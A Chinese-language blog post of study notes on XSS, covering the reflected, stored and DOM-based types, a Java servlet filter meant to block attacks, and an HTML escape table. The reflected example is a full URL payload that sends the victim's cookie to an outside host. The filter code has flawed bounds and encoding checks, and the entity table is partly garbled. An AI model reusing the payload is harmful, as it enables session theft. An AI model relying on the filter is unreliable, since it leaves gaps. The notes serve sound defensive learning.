web安全小笔记[XSS篇] | 青训营笔记
这是我参与「第四届青训营 」笔记创作活动的的第九天。今天的课主要将的是web安全的相关知识。做前端开发也有一些日子了,大多数时候都是在进行业务开发,很少有时间去思考web安全的问题。今天这节课老师所讲的知识正好是鄙人平常有所忽略的知识点,于是写下这篇笔记,方便自己以后查阅,也希望能给其他人提供微不足道的帮助。
课程的主要内容有
- XSS攻击与防护
- Dos攻击与防护
- CSRF攻击与防护
- Injection注入攻击
- http协议与数字签证
本篇完成着重记录XSS攻击与防护内容
XSS攻击与防护
什么是XSS攻击呢?网上有很多回答,比如其中之一就是:XSS攻击全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
网上的回答大多都很繁琐。而我个人是一个喜欢把一切事物简单化的人,所以如果让我回答什么是XSS攻击的话:让网站运行本不应该运行的代码以及让网站运行本不属于它自己的代码。
XSS攻击可以分为以下几种类型
- 反射型 反射型XSS攻击,通常是通过具体的手法(比如电子邮件),吸引用户访问包含恶意代码的URL,当用户访问该URL时,恶意代码将会直接在用户的浏览器执行。反光XSS通常出现在网站的搜索栏,用户登录,偷窃等领域常用的作弊的客户机cookie或钓鱼。
假设有一个网站www.re2fsl4dfgect_xss.com,它存在XSS漏洞,小黑作为攻击者,他制作了一段URLhttp://www.re2fsl4dfgect_xss.com/test.html?msg=<script>var+img=document.createElement(“img”);+img.src=”http://www.evjlgvhoee.com/”%2bescape(document.cookie);+document.appendChild(img)</script>小明作为一个小白用户,在小黑的“钓鱼”下,点击了该链接,这个时候恶意URL被访问,服务器将恶意代码从URL取出,拼接在HTML返回给浏览器,浏览器接收到响应后解析执行,混在其中的恶意代码也会被执行。下面我们用一张简单的图来阐述这一过程。
- 存储型
存储型xss攻击,顾名思义,就是恶意代码被存在了数据库中。当用户从服务器获取到数据后,浏览器解析到恶业代码,然后运行恶意代码。
一般在论坛或者博客的文本输入框中容易发送。比如小黑在一个<textarea></textarea>中输入<script>alert("666")</script>
点击发表按钮,文本域中的内容被保存到数据库中。下一次其他用户在观看到小黑发的这条消息时,浏览器解析到<script>alert("666")</script>这段恶意代码,并运行,于是网页上就出现了本不该出现的弹窗
- DOM-based 型
这种类型的xss攻击从攻击形式上来说其实也属于反射型。它是在反射型xss攻击的基础上单独划分出来的一个类型。也是通过url来注入恶意代码,但是这些代码与基本的反射型攻击相比,DOM-based类型通常是通过修改页面的DOM节点来达成攻击。
DOM-based型与反射型区别
| DOM-based | 反射型 |
|---|---|
| 注入脚本的地方在浏览器端 | 注入脚本的地方在服务器端 |
那么,在知道了XSS攻击的方式后,我们该如何防护XSS攻击呢?
我们从XSS攻击的原理上来分析:对URL、以及提交给服务器的内容没有进行过滤。导致恶意的URL或者提交内容被原封不动的执行或提交了。
所以我们防御XSS攻击的就可以围绕过滤用户提交的内容来进行——“永远不要相信用户提交的信息”
但是在实际应用中完全充分的过滤其实是无法实现的。因为攻击者总是有各种各样奇奇怪怪的神奇方式来绕过过滤。比如对URL参数进行编码,如:escape, encodeURI, encodeURIComponent, 16进制,10进制,8进制。通过不同编码的方式企图绕过过滤。
那么在实际开发中,到底该如何进行XSS防御呢?
对提交的内容进行过滤,对URL中携带的参数进行过滤,对于输出到html的内容进行编码,使得脚本变得不正确、不完整。使之无法在浏览器上运行。简单来讲就是破坏用户提交的内容以及URL。
-
对用户提交内容和URL进行过滤,我们知道
<和>是脚本执行和各种html标签所需要的,比如<script>。而&、%和#等字符,当有人想要绕过我们的过滤时会用到。我们可以将这些可能会在攻击者绕过我们过滤时所需要使用的字符加入黑名单,一旦出现就将这些字符替换成其他字符或使用转义的方法替换。下面我们基于java语言来编写xss过滤类,主要思路为将容易导致XSS攻击的字符由半角字符替换成全角字符。使得恶意代码无效化。
public class XssFilter implements Filter {
public void init(FilterConfig config) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request);
chain.doFilter(xssRequest, response);
}
public void destroy() {}
}
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
HttpServletRequest orgRequest = null;
public XssHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
orgRequest = request;
}
/**
* 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/>
* 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/>
* getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
*/
@Override
public String getParameter(String name) {
String value = super.getParameter(xssEncode(name));
if (value != null) {
value = xssEncode(value);
}
return value;
}
/**
* 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/>
* 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/>
* getHeaderNames 也可能需要覆盖
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(xssEncode(name));
if (value != null) {
value = xssEncode(value);
}
return value;
}
/**
* 将容易引起xss漏洞的半角字符直接替换成全角字符
*
* @param s
* @return
*/
private static String xssEncode(String s) {
if (s == null || s.isEmpty()) {
return s;
}
StringBuilder sb = new StringBuilder(s.length() + 16);
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '>':
sb.append('>');// 全角大于号
break;
case '<':
sb.append('<');// 全角小于号
break;
case '\'':
sb.append('‘');// 全角单引号
break;
case '"':
sb.append('“');// 全角双引号
break;
case '&':
sb.append('&');// 全角
break;
case '\\':
sb.append('\');// 全角斜线
break;
case '#':
sb.append('#');// 全角井号
break;
case '%': // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是: %3c
processUrlEncoder(sb, s, i);
break;
default:
sb.append(c);
break;
}
}
return sb.toString();
}
public static void processUrlEncoder(StringBuilder sb, String s, int index){
if(s.length() >= index + 2){
if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'c' || s.charAt(index+2) == 'C')){ // %3c, %3C
sb.append('<');
return;
}
if(s.charAt(index+1) == '6' && s.charAt(index+2) == '0'){ // %3c (0x3c=60)
sb.append('<');
return;
}
if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'e' || s.charAt(index+2) == 'E')){ // %3e, %3E
sb.append('>');
return;
}
if(s.charAt(index+1) == '6' && s.charAt(index+2) == '2'){ // %3e (0x3e=62)
sb.append('>');
return;
}
}
sb.append(s.charAt(index));
}
/**
* 获取最原始的request
*
* @return
*/
public HttpServletRequest getOrgRequest() {
return orgRequest;
}
/**
* 获取最原始的request的静态方法
*
* @return
*/
public static HttpServletRequest getOrgRequest(HttpServletRequest req) {
if (req instanceof XssHttpServletRequestWrapper) {
return ((XssHttpServletRequestWrapper) req).getOrgRequest();
}
return req;
}
}
接着在web.xml配置过滤器
<filter>
<filter-name>xssFilter</filter-name>
<filter-class>com.xxxxxx.filter.XssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>xssFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
2.对输出进行编码 上面我们对于输入进行了过滤,过滤过程中我们使用了转义。在输出过程中,我们同样可以使用类似的方法。在输出动态html等内容到浏览器前我们对具备潜在威胁的字符进行编码、转义。理论上,可以防御住所有XSS攻击。
下面列出了一张转义字符的表格,供读者参考。
| 显示 | 实体名称 | 实体编号 | 说明 |
|---|---|---|---|
| 空格 | |   | 半角不换行的空格,相当于按下键盘space键产生的空格,受字体影响,不同字体表现一致 |
| 空格 |   |   | 半角空格,占1/2个中文字符宽度,基本不受字体影响,不同字体空格宽度表示一致 |
| 空格 |   |   | 全角空格,占1个中文字符宽度,基本不受字体影响,不同字体空格宽度表示一致 |
| < | < | < | 小于号 |
> | > | 大于号 | |
| & | & | & | &符号 |
| " | " | " | 双引号 |
| ' | ------ | ' | 单引号 |
| © | © | © | 版权符号 |
| ™ | ™ | ™ 或 ™ | 商标符号 |
| ® | ® | ® | 注册商标符号 |
| $ | ------ | $ | 美元符号 |
| ¥ | ¥ | ¥ | 人民币符号 |
| × | × | × | 乘号 |
| ÷ | ÷ | ÷ | 除号 |